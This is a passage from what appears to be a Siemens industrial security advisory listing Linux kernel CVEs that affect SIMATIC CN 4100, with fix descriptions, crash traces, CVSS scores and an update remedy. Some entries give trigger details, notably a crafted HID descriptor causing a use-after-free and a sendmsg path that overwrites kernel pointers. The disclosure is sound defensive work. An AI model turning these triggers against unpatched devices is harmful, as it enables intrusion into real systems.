trace_printk_seq during ftrace_dump When calling ftrace_dump_one() concurrently with reading trace_pipe, a WARN_ON_ONCE() in trace_printk_seq() can be triggered due to a race condition. The issue occurs because: CPU0 (ftrace_dump) CPU1 (reader) echo z > /proc/sysrq-trigger !trace_empty(&iter) trace_iterator_reset(&iter) <- len = size = 0 cat /sys/kernel/tracing/trace_pipe trace_find_next_entry_inc(&iter) __find_next_entry ring_buffer_empty_cpu <- all empty return NULL trace_printk_seq(&iter.seq) WARN_ON_ONCE(s->seq.len >= s->seq.size) In the context between trace_empty() and trace_find_next_entry_inc() during ftrace_dump, the ring buffer data was consumed by other readers. This caused trace_find_next_entry_inc to return NULL, failing to populate `iter.seq`. At this point, due to the prior trace_iterator_reset, both `iter.seq.len` and `iter.seq.size` were set to 0. Since they are equal, the WARN_ON_ONCE condition is triggered. Move the trace_printk_seq() into the if block that checks to make sure the return value of trace_find_next_entry_inc() is non-NULL in ftrace_dump_one(), ensuring the 'iter.seq' is properly populated before subsequent operations.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39817\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: efivarfs: Fix slab-out-of-bounds in efivarfs_d_compare Observed on kernel 6.6 (present on master as well): BUG: KASAN: slab-out-of-bounds in memcmp+0x98/0xd0 Call trace: kasan_check_range+0xe8/0x190 __asan_loadN+0x1c/0x28 memcmp+0x98/0xd0 efivarfs_d_compare+0x68/0xd8 __d_lookup_rcu_op_compare+0x178/0x218 __d_lookup_rcu+0x1f8/0x228 d_alloc_parallel+0x150/0x648 lookup_open.isra.0+0x5f0/0x8d0 open_last_lookups+0x264/0x828 path_openat+0x130/0x3f8 do_filp_open+0x114/0x248 do_sys_openat2+0x340/0x3c0 __arm64_sys_openat+0x120/0x1a0 If dentry->d_name.len < EFI_VARIABLE_GUID_LEN , 'guid' can become negative, leadings to oob. The issue can be triggered by parallel lookups using invalid filename: T1 T2 lookup_open ->lookup simple_lookup d_add // invalid dentry is added to hash list lookup_open d_alloc_parallel __d_lookup_rcu __d_lookup_rcu_op_compare hlist_bl_for_each_entry_rcu // invalid dentry can be retrieved ->d_compare efivarfs_d_compare // oob Fix it by checking 'guid' before cmp.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39819\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs/smb: Fix inconsistent refcnt update A possible inconsistent update of refcount was identified in `smb2_compound_op`. Such inconsistent update could lead to possible resource leaks. Why it is a possible bug: 1. In the comment section of the function, it clearly states that the reference to `cfile` should be dropped after calling this function. 2. Every control flow path would check and drop the reference to `cfile`, except the patched one. 3. Existing callers would not handle refcount update of `cfile` if -ENOMEM is returned. To fix the bug, an extra goto label \"out\" is added, to make sure that the cleanup logic would always be respected. As the problem is caused by the allocation failure of `vars`, the cleanup logic between label \"finished\" and \"out\" can be safely ignored. According to the definition of function `is_replayable_error`, the error code of \"-ENOMEM\" is not recoverable. Therefore, the replay logic also gets ignored.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39823\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: KVM: x86: use array_index_nospec with indices that come from guest min and dest_id are guest-controlled indices. Using array_index_nospec() after the bounds checks clamps these values to mitigate speculative execution side-channels.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39824\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: HID: asus: fix UAF via HID_CLAIMED_INPUT validation After hid_hw_start() is called hidinput_connect() will eventually be called to set up the device with the input layer since the HID_CONNECT_DEFAULT connect mask is used. During hidinput_connect() all input and output reports are processed and corresponding hid_inputs are allocated and configured via hidinput_configure_usages(). This process involves slot tagging report fields and configuring usages by setting relevant bits in the capability bitmaps. However it is possible that the capability bitmaps are not set at all leading to the subsequent hidinput_has_been_populated() check to fail leading to the freeing of the hid_input and the underlying input device. This becomes problematic because a malicious HID device like a ASUS ROG N-Key keyboard can trigger the above scenario via a specially crafted descriptor which then leads to a user-after-free when the name of the freed input device is written to later on after hid_hw_start(). Below, report 93 intentionally utilises the HID_UP_UNDEFINED Usage Page which is skipped during usage configuration, leading to the frees. 0x05, 0x0D, // Usage Page (Digitizer) 0x09, 0x05, // Usage (Touch Pad) 0xA1, 0x01, // Collection (Application) 0x85, 0x0D, // Report ID (13) 0x06, 0x00, 0xFF, // Usage Page (Vendor Defined 0xFF00) 0x09, 0xC5, // Usage (0xC5) 0x15, 0x00, // Logical Minimum (0) 0x26, 0xFF, 0x00, // Logical Maximum (255) 0x75, 0x08, // Report Size (8) 0x95, 0x04, // Report Count (4) 0xB1, 0x02, // Feature (Data,Var,Abs) 0x85, 0x5D, // Report ID (93) 0x06, 0x00, 0x00, // Usage Page (Undefined) 0x09, 0x01, // Usage (0x01) 0x15, 0x00, // Logical Minimum (0) 0x26, 0xFF, 0x00, // Logical Maximum (255) 0x75, 0x08, // Report Size (8) 0x95, 0x1B, // Report Count (27) 0x81, 0x02, // Input (Data,Var,Abs) 0xC0, // End Collection Below is the KASAN splat after triggering the UAF: [ 21.672709] ================================================================== [ 21.673700] BUG: KASAN: slab-use-after-free in asus_probe+0xeeb/0xf80 [ 21.673700] Write of size 8 at addr ffff88810a0ac000 by task kworker/1:2/54 [ 21.673700] [ 21.673700] CPU: 1 UID: 0 PID: 54 Comm: kworker/1:2 Not tainted 6.16.0-rc4-g9773391cf4dd-dirty #36 PREEMPT(voluntary) [ 21.673700] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014 [ 21.673700] Call Trace: [ 21.673700] [ 21.673700] dump_stack_lvl+0x5f/0x80 [ 21.673700] print_report+0xd1/0x660 [ 21.673700] kasan_report+0xe5/0x120 [ 21.673700] __asan_report_store8_noabort+0x1b/0x30 [ 21.673700] asus_probe+0xeeb/0xf80 [ 21.673700] hid_device_probe+0x2ee/0x700 [ 21.673700] really_probe+0x1c6/0x6b0 [ 21.673700] __driver_probe_device+0x24f/0x310 [ 21.673700] driver_probe_device+0x4e/0x220 [...] [ 21.673700] [ 21.673700] Allocated by task 54: [ 21.673700] kasan_save_stack+0x3d/0x60 [ 21.673700] kasan_save_track+0x18/0x40 [ 21.673700] kasan_save_alloc_info+0x3b/0x50 [ 21.673700] __kasan_kmalloc+0x9c/0xa0 [ 21.673700] __kmalloc_cache_noprof+0x139/0x340 [ 21.673700] input_allocate_device+0x44/0x370 [ 21.673700] hidinput_connect+0xcb6/0x2630 [ 21.673700] hid_connect+0xf74/0x1d60 [ 21.673700] hid_hw_start+0x8c/0x110 [ 21.673700] asus_probe+0x5a3/0xf80 [ 21.673700] hid_device_probe+0x2ee/0x700 [ 21.673700] really_probe+0x1c6/0x6b0 [ 21.673700] __driver_probe_device+0x24f/0x310 [ 21.673700] driver_probe_device+0x4e/0x220 [...] [ 21.673700] [ 21.673700] Freed by task 54: [ 21.673700] kasan_save_stack+0x3d/0x60 [ 21.673700] kasan_save_track+0x18/0x40 [ 21.673700] kasan_save_free_info+0x3f/0x60 [ 21.673700] __kasan_slab_free+0x3c/0x50 [ 21.673700] kfre ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39825\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb: client: fix race with concurrent opens in rename(2) Besides sending the rename request to the server, the rename process also involves closing any deferred close, waiting for outstanding I/O to complete as well as marking all existing open handles as deleted to prevent them from deferring closes, which increases the race window for potential concurrent opens on the target file. Fix this by unhashing the dentry in advance to prevent any concurrent opens on the target.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39826\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: rose: convert 'use' field to refcount_t The 'use' field in struct rose_neigh is used as a reference counter but lacks atomicity. This can lead to race conditions where a rose_neigh structure is freed while still being referenced by other code paths. For example, when rose_neigh->use becomes zero during an ioctl operation via rose_rt_ioctl(), the structure may be removed while its timer is still active, potentially causing use-after-free issues. This patch changes the type of 'use' from unsigned short to refcount_t and updates all code paths to use rose_neigh_hold() and rose_neigh_put() which operate reference counts atomically.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39827\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: rose: include node references in rose_neigh refcount Current implementation maintains two separate reference counting mechanisms: the 'count' field in struct rose_neigh tracks references from rose_node structures, while the 'use' field (now refcount_t) tracks references from rose_sock. This patch merges these two reference counting systems using 'use' field for proper reference management. Specifically, this patch adds incrementing and decrementing of rose_neigh->use when rose_neigh->count is incremented or decremented. This patch also modifies rose_rt_free(), rose_rt_device_down() and rose_clear_route() to properly release references to rose_neigh objects before freeing a rose_node through rose_remove_node(). These changes ensure rose_neigh structures are properly freed only when all references, including those from rose_node structures, are released. As a result, this resolves a slab-use-after-free issue reported by Syzbot.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39828\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: atm: atmtcp: Prevent arbitrary write in atmtcp_recv_control(). syzbot reported the splat below. [0] When atmtcp_v_open() or atmtcp_v_close() is called via connect() or close(), atmtcp_send_control() is called to send an in-kernel special message. The message has ATMTCP_HDR_MAGIC in atmtcp_control.hdr.length. Also, a pointer of struct atm_vcc is set to atmtcp_control.vcc. The notable thing is struct atmtcp_control is uAPI but has a space for an in-kernel pointer. struct atmtcp_control { struct atmtcp_hdr hdr; /* must be first */ ... atm_kptr_t vcc; /* both directions */ ... } __ATM_API_ALIGN; typedef struct { unsigned char _[8]; } __ATM_API_ALIGN atm_kptr_t; The special message is processed in atmtcp_recv_control() called from atmtcp_c_send(). atmtcp_c_send() is vcc->dev->ops->send() and called from 2 paths: 1. .ndo_start_xmit() (vcc->send() == atm_send_aal0()) 2. vcc_sendmsg() The problem is sendmsg() does not validate the message length and userspace can abuse atmtcp_recv_control() to overwrite any kptr by atmtcp_control. Let's add a new ->pre_send() hook to validate messages from sendmsg(). [0]: Oops: general protection fault, probably for non-canonical address 0xdffffc00200000ab: 0000 [#1] SMP KASAN PTI KASAN: probably user-memory-access in range [0x0000000100000558-0x000000010000055f] CPU: 0 UID: 0 PID: 5865 Comm: syz-executor331 Not tainted 6.17.0-rc1-syzkaller-00215-gbab3ce404553 #0 PREEMPT(full) Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/12/2025 RIP: 0010:atmtcp_recv_control drivers/atm/atmtcp.c:93 [inline] RIP: 0010:atmtcp_c_send+0x1da/0x950 drivers/atm/atmtcp.c:297 Code: 4d 8d 75 1a 4c 89 f0 48 c1 e8 03 42 0f b6 04 20 84 c0 0f 85 15 06 00 00 41 0f b7 1e 4d 8d b7 60 05 00 00 4c 89 f0 48 c1 e8 03 <42> 0f b6 04 20 84 c0 0f 85 13 06 00 00 66 41 89 1e 4d 8d 75 1c 4c RSP: 0018:ffffc90003f5f810 EFLAGS: 00010203 RAX: 00000000200000ab RBX: 0000000000000000 RCX: 0000000000000000 RDX: ffff88802a510000 RSI: 00000000ffffffff RDI: ffff888030a6068c RBP: ffff88802699fb40 R08: ffff888030a606eb R09: 1ffff1100614c0dd R10: dffffc0000000000 R11: ffffffff8718fc40 R12: dffffc0000000000 R13: ffff888030a60680 R14: 000000010000055f R15: 00000000ffffffff FS: 00007f8d7e9236c0(0000) GS:ffff888125c1c000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000000045ad50 CR3: 0000000075bde000 CR4: 00000000003526f0 Call Trace: vcc_sendmsg+0xa10/0xc60 net/atm/common.c:645 sock_sendmsg_nosec net/socket.c:714 [inline] __sock_sendmsg+0x219/0x270 net/socket.c:729 ____sys_sendmsg+0x505/0x830 net/socket.c:2614 ___sys_sendmsg+0x21f/0x2a0 net/socket.c:2668 __sys_sendmsg net/socket.c:2700 [inline] __do_sys_sendmsg net/socket.c:2705 [inline] __se_sys_sendmsg net/socket.c:2703 [inline] __x64_sys_sendmsg+0x19b/0x260 net/socket.c:2703 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xfa/0x3b0 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f8d7e96a4a9 Code: 28 00 00 00 75 05 48 83 c4 28 c3 e8 51 18 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f8d7e923198 EFLAGS: 00000246 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 00007f8d7e9f4308 RCX: 00007f8d7e96a4a9 RDX: 0000000000000000 RSI: 0000200000000240 RDI: 0000000000000005 RBP: 00007f8d7e9f4300 R08: 65732f636f72702f R09: 65732f636f72702f R10: 65732f636f72702f R11: 0000000000000246 R12: 00007f8d7e9c10ac R13: 00007f8d7e9231a0 R14: 0000200000000200 R15: 0000200000000250 Modules linked in:\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39835\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: xfs: do not propagate ENODATA disk errors into xattr code ENODATA (aka ENOATTR) has a very specific meaning in the xfs xattr code; namely, that the requested attribute name could not be found. However, a medium error from disk may also return ENODATA. At best, this medium error may escape to userspace as \"attribute not found\" when in fact it's an IO (disk) error. At worst, we may oops in xfs_attr_leaf_get() when we do: error = xfs_attr_leaf_hasname(args, &bp); if (error == -ENOATTR) { xfs_trans_brelse(args->trans, bp); return error; } because an ENODATA/ENOATTR error from disk leaves us with a null bp, and the xfs_trans_brelse will then null-deref it. As discussed on the list, we really need to modify the lower level IO functions to trap all disk errors and ensure that we don't let unique errors like this leak up into higher xfs functions - many like this should be remapped to EIO. However, this patch directly addresses a reported bug in the xattr code, and should be safe to backport to stable kernels. A larger-scope patch to handle more unique errors at lower levels can follow later. (Note, prior to 07120f1abdff we did not oops, but we did return the wrong error code to userspace.)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39838\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: cifs: prevent NULL pointer dereference in UTF16 conversion There can be a NULL pointer dereference bug here. NULL is passed to __cifs_sfu_make_node without checks, which passes it unchecked to cifs_strndup_to_utf16, which in turn passes it to cifs_local_to_utf16_bytes where '*from' is dereferenced, causing a crash. This patch adds a check for NULL 'src' in cifs_strndup_to_utf16 and returns NULL early to prevent dereferencing NULL pointer. Found by Linux Verification Center (linuxtesting.org) with SVACE\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39839\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: batman-adv: fix OOB read/write in network-coding decode batadv_nc_skb_decode_packet() trusts coded_len and checks only against skb->len. XOR starts at sizeof(struct batadv_unicast_packet), reducing payload headroom, and the source skb length is not verified, allowing an out-of-bounds read and a small out-of-bounds write. Validate that coded_len fits within the payload area of both destination and source sk_buffs before XORing.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39841\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: lpfc: Fix buffer free/clear order in deferred receive path Fix a use-after-free window by correcting the buffer release sequence in the deferred receive path. The code freed the RQ buffer first and only then cleared the context pointer under the lock. Concurrent paths (e.g., ABTS and the repost path) also inspect and release the same pointer under the lock, so the old order could lead to double-free/UAF. Note that the repost path already uses the correct pattern: detach the pointer under the lock, then free it after dropping the lock. The deferred path should do the same.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39842\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ocfs2: prevent release journal inode after journal shutdown Before calling ocfs2_delete_osb(), ocfs2_journal_shutdown() has already been executed in ocfs2_dismount_volume(), so osb->journal must be NULL. Therefore, the following calltrace will inevitably fail when it reaches jbd2_journal_release_jbd_inode(). ocfs2_dismount_volume()-> ocfs2_delete_osb()-> ocfs2_free_slot_info()-> __ocfs2_free_slot_info()-> evict()-> ocfs2_evict_inode()-> ocfs2_clear_inode()-> jbd2_journal_release_jbd_inode(osb->journal->j_journal, Adding osb->journal checks will prevent null-ptr-deref during the above execution path.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39843\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm: slub: avoid wake up kswapd in set_track_prepare set_track_prepare() can incur lock recursion. The issue is that it is called from hrtimer_start_range_ns holding the per_cpu(hrtimer_bases)[n].lock, but when enabled CONFIG_DEBUG_OBJECTS_TIMERS, may wake up kswapd in set_track_prepare, and try to hold the per_cpu(hrtimer_bases)[n].lock. Avoid deadlock caused by implicitly waking up kswapd by passing in allocation flags, which do not contain __GFP_KSWAPD_RECLAIM in the debug_objects_fill_pool() case. Inside stack depot they are processed by gfp_nested_mask(). Since ___slab_alloc() has preemption disabled, we mask out __GFP_DIRECT_RECLAIM from the flags there. The oops looks something like: BUG: spinlock recursion on CPU#3, swapper/3/0 lock: 0xffffff8a4bf29c80, .magic: dead4ead, .owner: swapper/3/0, .owner_cpu: 3 Hardware name: Qualcomm Technologies, Inc. Popsicle based on SM8850 (DT) Call trace: spin_bug+0x0 _raw_spin_lock_irqsave+0x80 hrtimer_try_to_cancel+0x94 task_contending+0x10c enqueue_dl_entity+0x2a4 dl_server_start+0x74 enqueue_task_fair+0x568 enqueue_task+0xac do_activate_task+0x14c ttwu_do_activate+0xcc try_to_wake_up+0x6c8 default_wake_function+0x20 autoremove_wake_function+0x1c __wake_up+0xac wakeup_kswapd+0x19c wake_all_kswapds+0x78 __alloc_pages_slowpath+0x1ac __alloc_pages_noprof+0x298 stack_depot_save_flags+0x6b0 stack_depot_save+0x14 set_track_prepare+0x5c ___slab_alloc+0xccc __kmalloc_cache_noprof+0x470 __set_page_owner+0x2bc 